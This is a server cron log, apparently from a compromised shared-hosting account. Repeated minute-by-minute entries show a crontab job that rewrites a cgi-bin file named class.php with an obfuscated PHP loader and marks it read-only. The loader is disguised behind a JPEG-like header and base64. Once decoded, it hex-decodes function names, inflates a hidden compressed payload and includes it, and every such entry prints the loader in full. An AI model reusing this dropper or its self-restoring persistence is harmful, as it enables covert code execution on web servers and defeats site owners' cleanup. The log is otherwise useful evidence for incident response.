Nov 11 08:21:01 server CROND[10469]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:22:01 server CROND[11236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:23:01 server CROND[12057]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:24:01 server CROND[13050]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:25:01 server CROND[13872]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 08:25:01 server CROND[13874]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 08:25:01 server CROND[13873]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 11 08:25:01 server CROND[13875]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:26:01 server CROND[14697]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:27:01 server CROND[15515]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:27:01 server CROND[15516]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 08:28:01 server CROND[16345]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:29:01 server CROND[17269]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:30:01 server CROND[17839]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 11 08:30:01 server CROND[17840]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 08:30:01 server CROND[17841]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 08:30:01 server CROND[17844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 08:30:01 server CROND[17842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:31:01 server CROND[18691]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:32:01 server CROND[19560]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:33:01 server CROND[20353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
